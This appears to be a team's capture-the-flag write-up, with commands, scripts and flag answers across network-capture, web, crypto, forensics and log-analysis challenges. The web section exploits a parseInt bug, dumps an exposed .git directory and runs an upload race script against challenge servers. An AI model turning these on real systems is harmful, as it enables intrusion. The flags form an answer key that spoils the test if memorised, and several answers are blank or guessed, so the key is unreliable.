Team
Network Traffic Analysis
Attack (Easy)
An employee recently came under attack. What can you find out from this capture?
-
What is the name for the attack that is shown in this capture? (10 points)
According to this site, the PCAP looks a lot like ARP poisoning, due to 192.168.1.1 and 192.168.1.101 having the same MAC address.
Answer:
DNS Spoofing
-
What is the IPv4 address of the target of the attack? (10 points)
-
What is the attacker's MAC address? (50 points)
-
What is the name of the web server that the attacker was redirecting traffic to? (20 points)
It looks like the attacker was redirecting traffic to
ns-1053.awsdns-03.org
.Answer: ``
-
What is the domain name of the site originally supposed to receive the redirected traffic? (10 points)
The answer could be
httpbin.org
, but that seems too easy.
Chunked (Easy)
It looks like there is some sort of hidden flag in this wifi capture. See if you can find it.
-
What MAC address was generating fake beacons? (10 points)
There is only one MAC address visible in the file, there were no results for the filter
!(wlan.ta == de:ad:be:ef:fe:ed)
so the answer can only be one thing.Answer:
de:ad:be:ef:fe:ed
-
On what numbered wifi channel are the non-junk pieces of data being leaked? (15 points)
We can look at different channels individually by doing
wlan_radio.channel == 1
for each number. Going through all of these, the only one that wasn't empty or filled with just "Junk" was withwlan_radio.channel == 13
.Answer:
13
-
What is the hidden flag that is being broadcasted? (40 points)
I got a hunch that the data was in the broadcast SSIDs, so I used the following tshark command to compile that data and only look for what was after the colon:
tshark -r Chunked.pcap -Y "wlan_radio.channel == 13 && wlan.fc.type_subtype == 0x0008" | grep -oE '[^ ]+$' | cut -d':' -f2- | tr -d '\n'
That gave me the following:
NkN=JVk=xkkTVk==TYkkLxkV0w=YxNdddNwkLtx0tTJ=w00J=dxLLRNY=JtTkt=t=Jd0k==tV=NRVRUkk=xRRdNNdTtxU=TtkLtNkttkYYt=tYkVkRktYZN=NwkZttwZJLVRt00Z=JLVTtNN=Jk=V=twNd=tk0VTkN=TRJNNwk0RtdNkYkR
I couldn't make any sense of this, so I tried only getting the numbers before the colon instead:
$ tshark -r Chunked.pcap -Y "wlan_radio.channel == 13 && wlan.fc.type_subtype == 0x0008" | grep -oE '[^ ]+$' | cut -d'=' -f2- | cut -d':' -f1 | tr -d '\n' 161016187591815910135918181314101041510511719141516666121794215111137191711719615448121418711131011192187619191811519128580991815886121261321501913210411129221014141118214105989214312181217103112173745811113197451311161618710195192171261829151310121913871612179182612914108
Nothing useful there either. One of my teammates suggested grouping by SSID, so I tried that:
tshark -r Chunked.pcap -Y "wlan_radio.channel == 13 && wlan.fc.type_subtype == 0x0008" | grep -oE '[^ ]+$' | cut -d'=' -f2- | awk -F':' '{print $1,$0}' | sort | awk '{print substr($0, index($0,$2))}' | uniq | sort -n
And once I decoded all the characters in order with base64, I got the flag!
Answer:
SKY-WIFI-5617
Lightning (Medium)
Smart home devices are super prevalent these days, we have captured some network traffic of a smarthome system that controls lighting, but it looks like part of the data got corrupted. Can you find out the following information from the pcap?
-
What is the company that made these smart home devices? (10 points)
We can tell this from the protocol being used,
TPLINK-SMARTHOME/JSON
.Answer:
TP-Link
-
There's a dimmer that got switched up, what percentage is the dimmer set to? (15 points)
This can be found in #84:
{"smartlife.iot.dimmer":{"set_brightness":{"brightness":29}}}
Answer:
29
-
How many different smarthome devices are connected? (15 points)
Using the filter
tplink-smarthome
, we can see a total of 10 communications. Once there, we can see that there are 3 different IP addresses starting with192.168
. Unfortunately, this was the wrong answer.I decided to use the UDP packets at the start of the capture, 22 of them were reached out to on port 3879 with the same UDP traffic:
d0f281f88bff9af7d5ef94b6d1b4c09fec95e68fe187e8caf08bf68bf6
Answer:
22
-
How many different models of smarthome devices are connected? (20 points)
The
set_relay_state
command indicated a TP-Link HS110 Smart Plug, and thesmartlife.iot.dimmer
command indicates a Smart Dimmer Switch HS220. It looks likeget_realtime
is also tied to the HS110. Unfortunately, 2 was not the correct answer.I did a random guess of
3
as well, just for shits n giggles, but that was wrong as well.Answer: ``
-
How many different smarthome devices are powered off? (20 points)
Search for
tplink-smarthome
, sort by Time, and observe the commands. We can see that.30
is turned on then turned off ({"system":{"set_relay_state":{"state":0}}}
). According to Google, seeing{"system":{"set_relay_state":{"err_code":0}}}
as a response means that the command executed successfully.Whenever the status for
.31
is queried, we can see that the current power is 0, which means that it is off. The final command is turning on.21
, so we know that it is on.Answer:
2
-
What city are these devices located in? (20 points)
Answer: ``
Covert Exfiltration (Hard)
We have identified someone covertly exfiltrating information from the network, can you find out what they stole?
-
What is the filename of the stolen file? (20 points)
I see GET requests for
/report.pdf
on the server's port 1337, so I assume that the exploitation is taking place there. Going toFile
->Export Objects
->HTTP
, we can see that there is a filereport.pdf
that was transferred a lot of times. When we "Save All", thereport.pdf
file is downloaded 1000 times.Answer:
report.pdf
-
What is the MD5 digest of the stolen file? (50 points)
Looking at the conversations, we can see that there was likely a file transferred from 10.0.0.3 to
172.25.123.187
, as it's a size of several megabytes.There is an extraordinary amount of TCP data that is just
58
repeated over and over, I'm not sure if that has any significance or if it is just meant as a distractor. Filtering it out brings us down to 40% of the original data (99699/248590). If we also ignore the associated SYN-ACKs with!(tcp.flags == 0x012)
, that brings us down to 27% (67319/248590). Combining with ignoring RST packets (!(tcp.flags == 0x004)
) brings us down to 15% (37077/248590).Using a script to assemble the 1000 files, we get one massive 1.3MB file with no discernable file type. Running
strings Wireshark_Objects/combined_output -n 8
shows us a few goodies, including the following:pdf="http://ns.adobe.com/pdf/1.3/"> <xmp:ModifyDate>2023-04-11T01:03:13-04:00</xmp:ModifyDate> <xmp:CreateDate>2023-04-11T01:02:47-04:00</xmp:CreateDate> <xmp:MetadataDate>2023-04-11T01:03:13-04:00</xmp:MetadataDate> <xmp:CreatorTool>Adobe Acrobat 22.2</xmp:CreatorTool> <dc:format>application/pdf</dc:format> <xmpMM:DocumentID>uuid:c8222c26-16bd-e44e-9dab-010874887568</xmpMM:DocumentID> <xmpMM:InstanceID>uuid:c7d3f0bc-4793-684e-a671-8149a286f46e</xmpMM:InstanceID> <pdf:Producer>Adobe Acrobat 22.2 Image Conversion Plug-in</pdf:Producer> </rdf:Description> </rdf:RDF> </x:xmpmeta> 7.1-c000 79.cb7c5a1, 2022/04/14-05:22:35 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/"> <xmp:ModifyDate>2023-04-11T01:03:13-04:00</xmp:ModifyDate> <xmp:CreateDate>2023-04-11T01:02:47-04:00</xmp:CreateDate> <xmp:MetadataDf <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.cb7c5a1, 2022/04/14-05:22:35 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/"> <xmp:ModifyDate>2023-04-11T01:03:13-04:00</xmp:ModifyDate> <xmp:CreateDate>2023-04-11T01:02:47-04:00</xmp:CreateDate> <xmp:Meta
I tried using
binwalk
, which indicates that there's a PDF document v1.6 in there, but wasn't able to extract anything. I triedbinwalk -dd='.*' ./Wireshark_Objects/combined_output
andbinwalk -e ./Wireshark_Objects/combined_output
, but neither of those worked.I found one valid PDF out of the 1000:
$ python3 check_pdf_validity.py | grep VALID -a2 -b2 incorrect startxref pointer(3) 22732- Not a real PDF file :( 22756-File #654: 22767: VALID!!!! 22778-File #655: 22789- Not a real PDF file :(
The tool wouldn't open normally, but I can see it has some streams in it, so I'm going to check it for useful data:
$ sudo apt install mupdf-tools $ mutool clean -d ./Wireshark_Objects/report\(654\).pdf ./decompressed.pdf
Unfortunately, the output didn't seem useful.
tshark -r covert_exfiltration.pcapng -Y "http.response.code == 206 && http.content_type contains \"application/pdf\"" -T json > packet_json.json
tshark -r covert_exfiltration.pcapng --export-objects http,Wireshark_Objects tshark -r covert_exfiltration.pcapng -Y "http.response.code == 206 && http.content_type contains \"application/pdf\"" -T fields -e http.file_data | tr -d '\n' > binary_data http.response.code == 206 && http.content_type contains "application/pdf"
Answer: ``
-
What is the flag in the stolen file? (30 points)
One idea from
valinkrai#1138
:from scapy.all import * import re file_length=855474 file_bytes = [0]*file_length file_bytes_found = [0]*file_length load_layer("http") #pkts = rdpcap('partial-content.pcapng') pkts = sniff(offline="partial-content.pcapng", session=TCPSession) # pcap #print(pkts.sessions()) load_layer("http") #print(len(pkts)) sessions = pkts.sessions() for session in sessions: http_payload = b"" http_header = b"" http_header_raw = b"" http_header_parsed = b"" for packet in sessions[session]: try: payload = bytes(packet[TCP].payload) http_header_exists = False try: http_header = payload[payload.index(b"HTTP/1.1"):payload.index(b"\r\n\r\n")+2] if http_header: http_header_exists = True except: pass if not http_header_exists and http_payload: http_payload += payload elif http_header_exists and http_payload: http_payload = payload elif http_header_exists and not http_payload: http_payload = payload except: pass http_header_raw = http_payload[:http_payload.index(b"\r\n\r\n")+2] http_header_parsed = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", http_header_raw.decode("utf8"))) if "Content-Type" in http_header_parsed.keys(): if "application/pdf" in http_header_parsed["Content-Type"]: pdf_payload = http_payload[http_payload.index(b"\r\n\r\n")+4:] header_string = http_header.decode('utf-8') #print(header_string) range_regex=r'bytes\ ([0-9]+)\-([0-9]+)\/855474' result = re.search(range_regex, header_string) #print(result) low=int(result.group(1)) #print(low) high=int(result.group(2)) #print(http_payload) if low == 0: print(f"Has {low} - {high + 1}") print(f"calc len: {high-low}") print(f"actual len: {len(pdf_payload)}") print(type(pdf_payload)) print(pdf_payload) print() for i in range(low, high + 1): file_bytes_found[i] = True j = i - low #if low==0: # # print(j) # print(f"i:{i} j:{j}") file_bytes[i] = pdf_payload[j] for file_byte_found in file_bytes_found: if not file_byte_found: print(f"Missing byte :(") exit(1) print(file_bytes[0]) print("All bytes should be here!") byte_array = bytearray(file_bytes) try: with open("bytes_array.pdf", 'wb') as f: f.write(byte_array) print(str(byte_array) + " successfully stored in a file...") except Exception as e: print(e)
Another from
VFMADDSUBPD#0618
:import glob from itertools import count pdfs = glob.glob("*/*-HTTPBODY-001.pdf") JUNK = 17 finished = bytearray(855474) for pdf in pdfs: with open(pdf[:-JUNK],"rb") as f: data = f.read() range_line = next(x for x in data.splitlines() if x.startswith(b"Content-Range")) start_bytes, _, rest = range_line[21:].partition(b"-") end_bytes, _, length = rest.partition(b"/") start = int(start_bytes.decode("ascii")) end= int(end_bytes.decode("ascii"))+1 with open(pdf, "rb") as f: data = f.read() for i, b in zip(range(start, end), data): finished[i] = b with open("hope.pdf", "wb") as f: f.write(finished)
Answer: ``
Web Application Exploitation
Never Winter Bank (Easy)
You have been hired to run a pentest on this bank's old out of date system. Can you find the vulnerability in the code and completely drain the other user's account?
Note: Your scope is limited to HTTPS. You may use automated tools that make educated guesses for this challenge, blind automated brute force is not permitted.
-
What is the path of the leaked file? (10 points)
We can change the account where the money is being sent to in
static/app.js
:function transfer() { var amount = $('#transferAmnt').val(); superagent.post('/transfer') .send({ amount, account : 'ForgeOfNeverWinter', }) .then(function () { location.reload(); }).catch(console.error) ; } function reset() { superagent.get('/reset').then(function() { location.reload(); }).catch(console.error); }
But that doesn't help us in this case. Using the input
-100
for the amount changed the Forge amount from 500 to 110, and my account from 500 to 890, but that doesn't help answer the question.Looking for the
robots.txt
, we find the following:Disallow: * /dev/rel.js
Answer:
/dev/rel.js
-
What is the flag? (90 points)
Looking at the forbidden file, we see the following code:
// TODO auditor says something is wrong with this code.... if (parseInt(amount) < account.amount) { if ((account.amount - parseInt(amount)) < account.minimum) { return res.status(400).send('Error: Account is not allowed to have a balance lower than 10'); } var transferAmount = parseInt(amount, 10); account.amount -= transferAmount; }
The issue was that one instance of
parseInt
uses a radix and one does not, meaning we can trick JS. Sending the value "0500" twice completely drains the other account and gets us the flag!Answer:
SKY-DJUP-3502
WebAuthn (Medium)
There is a server that is handing out flags but only to certain users, but we've seen a lot of people having gotten flags from the server so it seems like there's potentially a misconfiguration with the different authentication endpoints that people are exploiting.
You may want to open the page in a new tab as WebAuthn may be blocked when embedded.
-
What is the username you need to get the flag? (20 points)
From
Taldan#0074
in the Discord:https://cdn.discordapp.com/attachments/1097323084492587170/1097325604224897154/image.png
Answer: ``
-
What is the flag? (80 points)
Answer: ``
File Server v2 (Hard)
The Liber8tion hacking group is at it again and seem to have revamped their security on their file server website. Can you find the flag?
-
What is the email address of the person who created the server? (30 points)
Our first approach was to check
/.git/head
, but the server has a block that tells us "Warning: Secured Directory" when attempting to access it. Undeterred, we decided to use some tradecraft to get around this:bash gitdumper.sh https://000c05fed5d1685bb9afc22064383654-fileserver-v2.web.cityinthe.cloud/.git/ dest_folder
And it worked! The email address was found in
.git/logs/HEAD
.Answer:
tomf@cityinthe.cloud
-
What is the flag? (70 points)
Using the data we got in the last step, we can see what was changed from the individual challenge in the
COMMIT_EDITMSG
file:Version 2!
-
Removed .bak file vulnerability!
-
Moved to an in-memory storage device to be blazingly fast!
-
Changed permission structure so I can upload secure files without being logged in.
-
Limited file size for uploading
Please enter the commit message for your changes. Lines starting
with '#' will be ignored, and an empty message aborts the commit.
On branch master
Initial commit
Changes to be committed:
new file: httpserver.js
This is one method, suggested by `tsuto#1337`: ```py import requests import time import threading def post_data(): yield b'------WebKitFormBoundary0o869BnsDYfoxkHu\r\nContent-Disposition: form-data; name="file"; filename="flag.txt"\r\nContent-Type: text/plain"\r\n\r\n' for i in range(2): yield b'a' time.sleep(1) def do_requests(tid): headers = {"Content-Type":"multipart/form-data; boundary=----WebKitFormBoundary0o869BnsDYfoxkHu"} i = 0 while True: R = requests.post("https://000c9f67fb3cb35bab3ace0364383654-fileserver-v2.web.cityinthe.cloud/upload",data=post_data(),headers=headers) print("Thread %d: %d" % (tid,i)) i += 1 for i in range(5): t = threading.Thread(target=do_requests,args=(i,)) t.start()
Answer: ``
Scanning & Reconnaissance
Docker (Easy)
We have found a base container used by the Liber8tion hacking group that seems to hold some stolen flags. Can you find them?
-
What is flag 1? (20 points)
Looking on Docker Hub, we can see Flag 1 being set initially.
Answer:
SKY-SCYD-6476
-
What is flag 2? (20 points)
sudo docker run -t -i --rm cityinthecloud/metadata:latest bash
Running
env
just gave usFLAG1=SKY-SCYD-6476
again, no sign of FLAG2. Runninggrep -r "SKY-" / 2>/dev/null
to search all files for the flag pattern gave us nothing.My teammate was able to find it with the following approach:
docker pull cityinthecloud/metadata -a docker save cityinthecloud/metadata > metadata.tar
Then just looked through the JSON files in the tarball for the flag.
Answer:
SKY-WSZZ-8369
-
What is flag 3? (20 points)
In the old tag, we can see flag 3.
Answer:
SKY-ZBDX-4860
-
What is flag 4? (20 points)
sudo docker run -t -i --rm cityinthecloud/metadata:old bash
Running
env
just gave usFLAG3=SKY-ZBDX-4860
again, no sign of FLAG4. Runninggrep -r "SKY-" / 2>/dev/null
to search all files for the flag pattern took FOREVER, but it worked!/root/.bash_history:echo "Flag 4: SKY-IYHL-4359" > /flag.txt
Answer:
SKY-IYHL-4359
-
What is flag 5? (20 points)
Answer:
SKY-XBIP-9314
Call to Action (Medium)
Can you extract the flag from the redis server at redis.services.cityinthe.cloud:18321
?
-
What channel is the flag being published to? (30 points)
Can make the initial server connection with
redis-cli -h redis.services.cityinthe.cloud -p 18321
. RunningSELECT 0
gives the following error:(error) NOPERM this user has no permissions to run the 'select' command
Ran into the same problem with
info
. RunningKEYS *
gives us an empty list. RunningPUBSUB CHANNELS
gives usstream-chat
, which is the only one, so that's our answer.Answer:
stream-chat
-
What is the flag? (70 points)
We can subscribe to the channel with
SUBSCRIBE stream-chat
:1) "subscribe" 2) "stream-chat" 3) (integer) 1
But that doesn't appear to have any messages. Running
PUBSUB NUMSUB stream-chat
gives us a permission error, so we can't see how many subscribers there are. RunningPUBSUB NUMPAT
also doesn't work, so we can't see how many patterns there are.Turns out, I just needed to wait a bit for the message to be published! The
subscribe
command worked.Answer:
SKY-RDIS-8399
Database (Hard)
Cryptography
Decoding 4 (Medium)
This file was encrypted using securepassword1! as the password, can you decrypt the file?
-
What is the flag? (50 points)
Firs thing I tried was this:
openssl enc -aes-256-cbc -d -in file.enc -out flag.txt -pass pass:securepassword1!
But that gave the error
bad magic number
. I also tried with-aes256
, then wrote a script to try all the different cipher algorithms, but none of them worked. Next I tried GPG withgpg -d file.enc
, but that threw a different error:gpg: [don't know]: invalid packet (ctb=65)
We didn't get an error when doing
openssl enc -d -aes-128-cfb1 -nosalt -in file.enc -out flag.txt
, but the output was just gibberish. Apparently my teammate's Kali instance detected it as an OpenPGP Public Key with thefile
command, but mine did not.Answer:
SKY-OPEN-1234
PGP (Medium)
We're sending you a secure communication, please decrypt the message. Please then respond to the encrypted message using the same encrypted protocol here.
-
Free Response. (50 points)
We can paste the PGP message into CyberChef and decrypt with the private key of the recipient, which gives this:
Please reply in encrypted form that "the flag is SKY-CSPG-5104" As long as you include the flag in the encrypted message, it'll be accepted.
So we can encrypt the message with the public key of the recipient.
Answer:
-----BEGIN PGP MESSAGE----- Version: Keybase OpenPGP v2.1.15 Comment: https://keybase.io/crypto wYwDP788M89ptnwBA/9VRxi7H++xILXN75zD1vtX8L4zR0CzWH4e02T9+LuVnEEc 8i1Fa3iCa/Prtn+9Um5/mk2uGfz14VYRJSvJhSw8UUBqaULH2/xeIB57q5J78OQy 2hWXfxFaKbur9uEmiywNRMgQFuTvIZmuKAlqfrcFznwyxiGNo95L90RpHvxkUdJV AbibXsffoWQd8OZb4uqHbIQamNaZJpV86g4sYIvnuRp7qzQHTd2gSK96vNcra6f5 bB7ntDLq7wDf6vGYSUIFn9UhM9VpbBxJcQW4HNRRjvowvM2S6A== =bqqB -----END PGP MESSAGE-----
AutoCrypt (Hard)
We've intercepted this message that was encrypted using some kind of simple autokey cipher where the ciphertext is used as the subsequent encryption key. We don't have the initial encryption key but we know that the initial encryption key is only 1 byte, so it should be easily breakable. Can you help us crack the code?
d2badfff99f594f3d3bac9e9baf1a885c491c58aa790a692a6
-
What is the initial encryption key (in hexadecimal representation)? (20 points)
ciphertext = "d2badfff99f594f3d3bac9e9baf1a885c491c58aa790a692a6" for key in range(256): plaintext = "" prev = key for i in range(0, len(ciphertext), 2): # convert two hex digits to a byte byte = int(ciphertext[i:i+2], 16) # xor with previous byte or key xored = byte ^ prev # add decrypted byte to plaintext plaintext += chr(xored) # update previous byte prev = byte print(f"Key: {key:02X}, Plaintext: {plaintext}")
Answer:
86
-
What is the flag? (80 points)
Answer:
SKY-AUTO-7644
Forensics
Hidden (Medium)
What information can you extract from the file inside the archive? (The questions reference the file inside the archive)
-
What OS is this file from? (10 points)
In the
._COPY
file.Answer:
MAC OS X
-
What app has a size of 16732160 bytes? (25 points)
Download the tool from
https://github.com/hanwenzhu/.DS_Store-parser
and use the script to parse theCOPY
file:python3 parse.py COPY
Answer:
Muzzle
-
What is the scrollPositionY of the Src entry? (25 points)
Answer:
39.0
-
What is the icon size of Src? (40 points)
Answer:
16.0
Enumeration & Exploitation
Vault (Medium)
We can't seem to run this on our operating system, but we should still be able to extract the information.
-
What is the binary format? (10 points)
Untar -> MacOs Folder -> Challenge -> File or Open in IDA
Answer:
Mach-O
-
What is the flag? (90 points)
Answer: ``
Log Analysis
Iptables (Medium)
One of our machines stores a log of the iptables activity. What information can you gather from it?
-
How many packets sent were UDP packets? (10 points)
cat iptable.log | grep PROTO=UDP | wc -l
Answer:
6445
-
How many packets sent were TCP packets? (10 points)
cat iptable.log | grep PROTO=TCP | wc -l
Answer:
6834
-
How many unique source address were in the capture? (10 points)
Answer:
236
-
What address generated the most entries? (20 points)
Answer:
169.254.169.123
-
How many times did the above address appear in the log? (10 points)
Answer:
5341
-
How large was the longest length? (10 points)
Answer:
47836
-
What is the average amount of bytes transferred per IP (Round to the nearest whole)? (30 points)
This one was intersting, because the log had several entries with more than one
LEN
that we had to find the meaning of. According to this forum post, the only one that should matter is the first, because that's the size of the whole IP packet.The first thing we tried was calculating the average of the
LEN
field, but that didn't work:cat iptable.log| cut -d " " -f 12 | cut -d "=" -f 2 | awk '{a+=$1} END {print "mean = " a/NR}'
That looked for the overall average, not the average per IP. Once a second person read the prompt, we just replaced
NR
with236
(the number of unique IPs). That gave us20328.5
, which rounds up to20329
. Unfortunatley, that was wrong as well.My third method was to take the average of the averages, which I did with
ip_average_bytes.py
. It came out to126
after some tweaks to make sure the regex is non-greedy and gets the right occurrence ofLEN
. Unfortunately, that ALSO wasn't right!We decided to re-evaluate the last method, and used the following command to calculate the total number of bytes:
$ cat iptable.log | awk '{print $12}' | cut -d '=' -f2 | awk '{s+=$1} END {print s}' 4797523
Then we divided that by the number of unique IPs, which gives us
20328.4872881
, indicating that we rounded wrong before!Answer:
20328
Flight Record (Hard)
We have a flight record of an aircraft but it's in a strange log format that we can't read, can you identify it?
-
What is the manufacturer of the aircraft? (5 points)
Answer:
DJI
-
What is the model of the aircraft? (5 points)
Running
strings
shows usZXL-MAVIC AIR
in the file, which is the model of the aircraft.Answer:
Mavic Air
-
What city is the aircraft recorded flying in? (10 points)
Running
strings
shows usNaples
andCampania
in the file, which is the city and region of the aircraft.Answer:
Naples
-
How many seconds was the aircraft in the air? (10 points)
Uploading the log file to PhantomHelp, our copy can be seen here: https://www.phantomhelp.com/LogViewer/8SXVS106QKMAQRLXCG9P
TODO: Describe how to sum up the time in the air!
Answer:
911.4
-
What is the name of the castle that this aircraft flies over? (20 points)
Can be seen on Google Maps here, it's on the flight path.
Answer:
Ovo Castle
-
How many seconds into the flight does the aircraft make a U-turn at the castle? (20 points)
(The entire range from when the aircraft enters the U-turn to completing the U-turn will be accepted)
We just used the timestamp for right when the aircraft hits the turnaround point, which is approximately 9 minutes and 13 seconds into the flight.
Answer:
553.4
-
While the aircraft was flying to the aircraft's own left, how many meters in the air was the aircraft? (20 points)
The aircraft began flying to its left at 6 minutes 36.1 seconds into the flight, and stopped at 7 minutes 38.9 seconds into the flight. I used the following Python script to calculate the average height throughout this timespan:
import pandas as pd csv_file = "flight_record.csv" # Read the CSV file with pandas, skipping the first row data = pd.read_csv(csv_file, sep=',', skiprows=1) # Filter data based on specified time range start_time = 6 * 60 + 36.1 end_time = 7 * 60 + 38.9 filtered_data = data[(data['OSD.flyTime [s]'] >= start_time) & (data['OSD.flyTime [s]'] <= end_time)] # Calculate the average altitude in feet and meters average_altitude_ft = filtered_data["OSD.height [ft]"].mean() average_altitude_m = average_altitude_ft * 0.3048 print(f"Average altitude between {start_time}s and {end_time}s: {average_altitude_ft} feet ({average_altitude_m} meters)")
Answer:
38.55986433566434
-
How many total meters did the aircraft fly? (10 points)
We tried two different methods here, using both the
OSD.mileage [ft]
column and theDETAILS.totalDistance [ft]
column in the following script:import pandas as pd csv_file = "flight_record.csv" # Read the CSV file with pandas, skipping the first row data = pd.read_csv(csv_file, sep=',', skiprows=1) total_distance_ft = data["DETAILS.totalDistance [ft]"].iloc[-1] total_distance_m = total_distance_ft * 0.3048 # Convert feet to meters print(f"Total distance travelled by the aircraft: {total_distance_m} meters")
For the mileage we get
4316.51664
meters, and for the total distance we get4321.302000000001
meters. We decided to go with the mileage, since it's more accurate.Answer:
4316.51664